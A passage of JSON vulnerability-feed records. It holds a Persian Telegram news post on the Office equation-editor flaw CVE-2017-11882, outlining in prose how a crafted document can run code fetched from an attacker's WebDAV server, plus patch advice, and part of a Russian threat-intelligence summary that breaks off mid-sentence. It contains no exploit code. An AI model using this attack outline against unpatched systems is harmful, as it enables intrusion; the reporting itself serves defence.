\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f3\u06f6\u06f5\u060c \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a\u0647 \u0627\u0633\u062a \u0648 \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0639\u0627\u0645\u0644 \u0648\u06cc\u0646\u062f\u0648\u0632\u060c \u0627\u0632 \u062c\u0645\u0644\u0647 \u0622\u062e\u0631\u06cc\u0646 \u0628\u0647\u200c\u0631\u0648\u0632\u0631\u0633\u0627\u0646\u06cc \u0648\u06cc\u0646\u062f\u0648\u0632 \u06f1\u06f0 \u06a9\u0627\u0631 \u0645\u06cc\u200c\u06a9\u0646\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u062a\u0648\u0633\u0637 \u0645\u062d\u0642\u0642\u0627\u0646 \u0627\u0645\u0646\u06cc\u062a\u06cc Embedi \u06a9\u0634\u0641 \u0634\u062f\u0647 \u0627\u0633\u062a\u060c \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0628\u0647 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u062a\u0627\u06cc\u06cc\u062f \u0646\u0634\u062f\u0647 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u062a\u0627 \u067e\u0633 \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u0633\u0646\u062f \u0645\u062e\u0631\u0628 \u0648 \u0628\u062f\u0648\u0646 \u0646\u06cc\u0627\u0632 \u0628\u0647 \u062a\u0639\u0627\u0645\u0644 \u0628\u0627 \u06a9\u0627\u0631\u0628\u0631\u060c \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0628\u0631 \u0631\u0648\u06cc \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u06cc \u0647\u062f\u0641 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f8\u06f2 \u0631\u062f\u06cc\u0627\u0628\u06cc \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u062f\u0631 EQNEDT\u06f3\u06f2.EXE\u060c \u06cc\u06a9 \u0645\u0648\u0644\u0641\u0647\u200c\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u06a9\u0647 \u0645\u0633\u0626\u0648\u0644 \u062f\u0631\u062c \u0648 \u0648\u06cc\u0631\u0627\u06cc\u0634 \u0645\u0639\u0627\u062f\u0644\u0647\u200c\u0647\u0627\u06cc \u0631\u06cc\u0627\u0636\u06cc (\u0627\u0634\u06cc\u0627\u06cc OLE) \u0645\u0648\u062c\u0648\u062f \u0627\u0633\u0646\u0627\u062f \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0628\u0627 \u0627\u06cc\u0646 \u062d\u0627\u0644\u060c \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0639\u0645\u0644\u06cc\u0627\u062a \u0646\u0627\u0645\u0646\u0627\u0633\u0628 \u062d\u0627\u0641\u0638\u0647\u060c \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u0642\u0627\u062f\u0631 \u0628\u0647 \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0645\u0646\u0627\u0633\u0628 \u0627\u0634\u06cc\u0627\u0621 \u062f\u0631 \u062d\u0627\u0641\u0638\u0647 \u0646\u0628\u0648\u062f\u0647 \u0648 \u062e\u0631\u0627\u0628\u06cc \u0622\u0646 \u0628\u0647\u200c\u06af\u0648\u0646\u0647\u200c\u0627\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u06a9\u062f \u0645\u062e\u0631\u0628 \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0646\u062f.\n\n\u06f1\u06f7 \u0633\u0627\u0644 \u067e\u06cc\u0634\u060c EQNEDT\u06f3\u06f2.EXE \u062f\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f0\u06f0 \u0645\u0639\u0631\u0641\u06cc \u0634\u062f \u0648 \u0628\u0647\u200c\u0645\u0646\u0638\u0648\u0631 \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0628\u0627 \u0627\u0633\u0646\u0627\u062f \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0642\u062f\u06cc\u0645\u06cc\u200c\u062a\u0631 \u0633\u0627\u0632\u06af\u0627\u0631 \u0628\u0627\u0642\u06cc \u0645\u06cc\u200c\u0645\u0627\u0646\u062f\u060c \u062f\u0631 \u062a\u0645\u0627\u0645 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u067e\u0633 \u0627\u0632 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06f2\u06f0\u06f0\u06f7 \u0646\u06af\u0647 \u062f\u0627\u0634\u062a\u0647 \u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udc48\ud83c\udffb \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0642\u0631\u0628\u0627\u0646\u06cc \u0628\u0627 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\n\u0628\u0631\u0627\u06cc \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u060c \u0628\u0647 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0645\u062e\u0631\u0628 \u062e\u0627\u0635 \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u0628\u0627 \u06cc\u06a9 \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647 \u0627\u0632 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633 \u06cc\u0627 \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0648\u0631\u062f\u067e\u064e\u062f \u0646\u06cc\u0627\u0632 \u0645\u06cc\u200c\u0628\u0627\u0634\u062f.\n\n\u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0631\u0627\u06cc \u06a9\u0646\u062a\u0631\u0644 \u06a9\u0627\u0645\u0644 \u06cc\u06a9 \u0633\u0627\u0645\u0627\u0646\u0647 \u0647\u0646\u06af\u0627\u0645 \u062a\u0631\u06a9\u06cc\u0628 \u0628\u0627 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u0641\u0632\u0627\u06cc\u0634 \u0627\u0645\u062a\u06cc\u0627\u0632\u0627\u062a \u0647\u0633\u062a\u0647\u200c \u0648\u06cc\u0646\u062f\u0648\u0632 (\u0628\u0627 \u0634\u0646\u0627\u0633\u0647\u200c\u06cc CVE-\u06f2\u06f0\u06f1\u06f7-\u06f1\u06f1\u06f8\u06f4\u06f7)\u060c \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u0628\u06af\u06cc\u0631\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0645\u062d\u0642\u0642\u0627\u0646 Embedi \u062f\u0631\u062d\u0627\u0644\u06cc\u200c\u06a9\u0647 \u062f\u0627\u0645\u0646\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062a\u0648\u0636\u06cc\u062d \u0645\u06cc\u200c\u062f\u0647\u0646\u062f\u060c \u0686\u0646\u062f\u06cc\u0646 \u0633\u0646\u0627\u0631\u06cc\u0648\u06cc \u062d\u0645\u0644\u0647 \u0631\u0627 \u0646\u06cc\u0632 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f:\n\n\u00ab\u0628\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0686\u0646\u062f\u06cc\u0646 \u0645\u0639\u0627\u062f\u0644\u0647\u200c\u06cc \u0631\u06cc\u0627\u0636\u06cc \u06a9\u0647 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f\u0647 \u0631\u0627 \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f\u060c \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u06cc\u06a9 \u062a\u0648\u0627\u0644\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0627\u0632 \u062f\u0633\u062a\u0648\u0631\u0627\u062a \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f (\u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0645\u062b\u0627\u0644\u060c \u0628\u0627\u0631\u06af\u06cc\u0631\u06cc \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u062f\u0644\u062e\u0648\u0627\u0647 \u0627\u0632 \u0627\u06cc\u0646\u062a\u0631\u0646\u062a \u0648 \u0627\u062c\u0631\u0627\u06cc \u0622\u0646).\n\n\u06cc\u06a9\u06cc \u0627\u0632 \u0633\u0627\u062f\u0647\u200c\u062a\u0631\u06cc\u0646 \u0631\u0627\u0647\u200c\u0647\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0627\u0632 \u0631\u0627\u0647 \u062f\u0648\u0631\u060c \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc \u06cc\u06a9 \u067e\u0631\u0648\u0646\u062f\u0647\u200c\u06cc \u0642\u0627\u0628\u0644 \u0627\u062c\u0631\u0627 \u0627\u0632 \u06a9\u0627\u0631\u06af\u0632\u0627\u0631 WebDAV \u062a\u062d\u062a \u06a9\u0646\u062a\u0631\u0644 \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0627\u0633\u062a.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\u0628\u0627 \u0627\u06cc\u0646 \u0648\u062c\u0648\u062f\u060c \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0632 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062a\u0648\u0635\u06cc\u0641 \u0634\u062f\u0647 \u0628\u0631\u0627\u06cc \u0627\u062c\u0631\u0627\u06cc \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u062e\u0637 \u0641\u0631\u0645\u0627\u0646 \u0648\u06cc\u0646\u062f\u0648\u0632 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f. \u0686\u0646\u06cc\u0646 \u062f\u0633\u062a\u0648\u0631\u0627\u062a\u06cc \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u200c\u0639\u0646\u0648\u0627\u0646 \u0628\u062e\u0634\u06cc \u0627\u0632 \u06cc\u06a9 \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0648 \u0631\u0627\u0647\u200c\u0627\u0646\u062f\u0627\u0632\u06cc WebClient \u0628\u0647\u200c\u06a9\u0627\u0631 \u0631\u0648\u062f.\u00bb\n\n \ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c\n\n\ud83d\udc48\ud83c\udffb \u062d\u0641\u0627\u0638\u062a \u062f\u0631 \u0628\u0631\u0627\u0628\u0631 \u0622\u0633\u06cc\u0628\u200e\u067e\u0630\u06cc\u0631\u06cc \u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0622\u0641\u06cc\u0633\n\u0645\u0627\u06cc\u06a9\u0631\u0648\u0633\u0627\u0641\u062a \u0628\u0627 \u0627\u0646\u062a\u0634\u0627\u0631 \u0648\u0635\u0644\u0647\u200c\u06cc \u0627\u06cc\u0646 \u0645\u0627\u0647\u060c \u0628\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u0646\u062d\u0648\u0647\u200c\u06cc \u0639\u0645\u0644\u06a9\u0631\u062f \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631 \u0622\u0633\u06cc\u0628\u200c\u062f\u06cc\u062f\u0647\u200c\u06cc \u06a9\u0646\u062a\u0631\u0644 \u0627\u0634\u06cc\u0627\u0621 \u062f\u0631 \u062d\u0627\u0641\u0638\u0647\u060c \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u0631\u0641\u0639 \u06a9\u0631\u062f\u0647 \u0627\u0633\u062a. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646\u060c \u0628\u0647 \u06a9\u0627\u0631\u0628\u0631\u0627\u0646 \u0628\u0647 \u200c\u0634\u062f\u062a \u062a\u0648\u0635\u06cc\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u062a\u0627 \u0628\u0631\u0627\u06cc \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u06a9\u0646\u062a\u0631\u0644 \u0631\u0627\u06cc\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u062e\u0648\u062f \u062a\u0648\u0633\u0637 \u0646\u0641\u0648\u0630\u06af\u0631\u0627\u0646 \u0648 \u0645\u062c\u0631\u0645\u0627\u0646 \u0633\u0627\u06cc\u0628\u0631\u06cc\u060c \u062f\u0631 \u0627\u0633\u0631\u0639 \u0648\u0642\u062a \u0648\u0635\u0644\u0647\u200c\u0647\u0627\u06cc \u0627\u0645\u0646\u06cc\u062a\u06cc \u0645\u0627\u0647 \u0646\u0648\u0627\u0645\u0628\u0631 \u0631\u0627 \u0627\u0639\u0645\u0627\u0644 \u06a9\u0646\u0646\u062f.\n\n\u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u06cc\u0646 \u0645\u0648\u0644\u0641\u0647 \u062f\u0627\u0631\u0627\u06cc \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0645\u0633\u0627\u0626\u0644 \u0627\u0645\u0646\u06cc\u062a\u06cc \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u200c\u0631\u0627\u062d\u062a\u06cc \u0645\u0648\u0631\u062f \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0642\u0631\u0627\u0631 \u06af\u06cc\u0631\u062f\u060c \u063a\u06cc\u0631\u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0622\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0647\u062a\u0631\u06cc\u0646 \u0631\u0627\u0647 \u0628\u0631\u0627\u06cc \u0627\u0637\u0645\u06cc\u0646\u0627\u0646 \u0627\u0632 \u0627\u0645\u0646\u06cc\u062a \u0633\u0627\u0645\u0627\u0646\u0647\u200c\u06cc \u0634\u0645\u0627 \u0628\u0627\u0634\u062f.\n\n\ud83c\udf3c\ud83c\uddee\ud83c\uddf7 @KaitNews \ud83c\uddee\ud83c\uddf7\ud83c\udf3c", "creation_timestamp": "2026-07-26T07:01:57.166934Z"}, {"uuid": "3a9d44e4-5284-4290-b99e-2e250744f7fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/EchelonEyes/4631", "content": "Cyber Threat Intelligence \u0437\u0430 2025 \u0433\u043e\u0434: \u043f\u043e\u0447\u0442\u0438 2900 \u043e\u0442\u0447\u0451\u0442\u043e\u0432 \u0432 \u043e\u0434\u043d\u043e\u043c \u0441\u0440\u0435\u0437\u0435\n\n\u0412\u044b\u0448\u0435\u043b \u0433\u043e\u0434\u043e\u0432\u043e\u0439 \u043e\u0431\u0437\u043e\u0440 CyberThreatTech \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u0433\u0440\u043e\u0437 2025 \u0433\u043e\u0434\u0430. \u0414\u043b\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0438 \u0432\u0437\u044f\u043b\u0438 2884 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0445 CTI-\u043e\u0442\u0447\u0451\u0442\u0430 \u0438\u0437 280 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u041a\u043e\u0440\u043e\u0442\u043a\u0438\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0438 \u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430\u0445 \u0432 \u043e\u0442\u0447\u0435\u0442 \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u043b\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0441\u044f \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u0440\u0435\u0437 \u043f\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u043e\u0442\u0440\u0430\u0441\u043b\u044f\u043c, \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c \u0438 \u0442\u0430\u043a\u0442\u0438\u043a\u0430\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n\u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u0447\u0435\u0442\u0430 \u2013 \u044d\u0442\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0430\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f. \u0410\u0432\u0442\u043e\u0440\u044b \u0441\u0432\u0435\u043b\u0438 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043e\u043a, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0441\u0432\u043e\u044e \u0431\u0430\u0437\u0443 \u0437\u043d\u0430\u043d\u0438\u0439. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430 \u043e\u0447\u0438\u0441\u0442\u043a\u0430 \u043e\u0442 \u0448\u0443\u043c\u0430 \u0438 \u0418\u0418-\u0444\u0435\u0439\u043a\u043e\u0432. \u0414\u043b\u044f \u0440\u044b\u043d\u043a\u0430, \u0433\u0434\u0435 \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0447\u0430\u0441\u0442\u043e \u0436\u0438\u0432\u0451\u0442 \u043f\u043e\u0434 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438, \u044d\u0442\u043e \u0432\u0435\u0441\u044c\u043c\u0430 \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u0434\u0435\u0442\u0430\u043b\u044c.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f \u0446\u0438\u0444\u0440, \u0442\u043e \u043f\u043e \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435 \u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0447\u0438\u0441\u043b\u043e \u043e\u0442\u0447\u0435\u0442\u043e\u0432 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u0430\u043c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0440\u0430\u0441\u0442\u0438.\u0412 2024 \u0433\u043e\u0434\u0443 \u0432 \u0432\u044b\u0431\u043e\u0440\u043a\u0435 \u0431\u044b\u043b\u043e 2353 \u043e\u0442\u0447\u0451\u0442\u0430, \u0432 2025 \u2014 \u0443\u0436\u0435 2884. \u042d\u0442\u043e \u043e\u043a\u043e\u043b\u043e 8 \u043e\u0442\u0447\u0451\u0442\u043e\u0432 \u0432 \u0441\u0443\u0442\u043a\u0438. \u0410\u0432\u0442\u043e\u0440\u044b \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0438 \u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0443\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0440\u043e\u0445\u043e\u0434 \u043f\u043e \u043c\u0430\u0441\u0441\u0438\u0432\u0443 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u044e\u0442 \u0432 16,2 \u043c\u043b\u043d \u20bd \u0432 \u0433\u043e\u0434, \u0430 \u0441 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u2014 \u0434\u043e 20\u201325 \u043c\u043b\u043d \u20bd.\n\n\u0421\u0440\u0435\u0434\u0438 \u043b\u0438\u0434\u0435\u0440\u043e\u0432 \u043f\u043e \u043e\u0431\u044a\u0451\u043c\u0443 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u044b SecureList, AhnLab, Socradar, Cyfirma, \u0430 \u0432 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u043c \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0435 \u2014 BI[.]ZONE, F6, \u0420\u0422\u041a-\u0421\u043e\u043b\u0430\u0440. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0441\u0440\u0435\u0437\u0443, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043d\u0430 \u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430\u0445 \u0432 \u0441\u0443\u043c\u043c\u0435 \u0434\u0430\u044e\u0442 \u043e\u0431\u044a\u0451\u043c, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u044b\u0439 \u0441 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u043c \u0438\u0433\u0440\u043e\u043a\u043e\u043c \u0440\u044b\u043d\u043a\u0430.\n\n\u041f\u043e \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c \u043a\u0430\u0440\u0442\u0438\u043d\u0430 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u0430\u044f. \u0412\u044b\u0440\u043e\u0441\u043b\u0438 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438, \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438\u0437\u0432\u043d\u0435, \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u044b, \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 PowerShell. \u0415\u0441\u043b\u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u044c \u043e \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u0445, \u0442\u0430\u043a\u0442\u0438\u043a\u0430\u0445 \u0438 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0430\u0445 (TTP), \u0442\u043e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u043a\u043e\u0439 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u2014 T1078.\n\n\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0431\u043b\u043e\u043a \u043f\u043e\u0441\u0432\u044f\u0449\u0451\u043d \u00ab\u0434\u043e\u043b\u0433\u043e\u0439 \u0436\u0438\u0437\u043d\u0438\u00bb \u0441\u0442\u0430\u0440\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0412 \u043e\u0442\u0447\u0451\u0442\u0430\u0445 2025 \u0433\u043e\u0434\u0430 \u0432\u0441\u0451 \u0435\u0449\u0451 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f CVE-2017-11882 (\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS Office), CVE-2021-44228 (Log4Shell) \u0438 CVE-2020-1472 (\u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 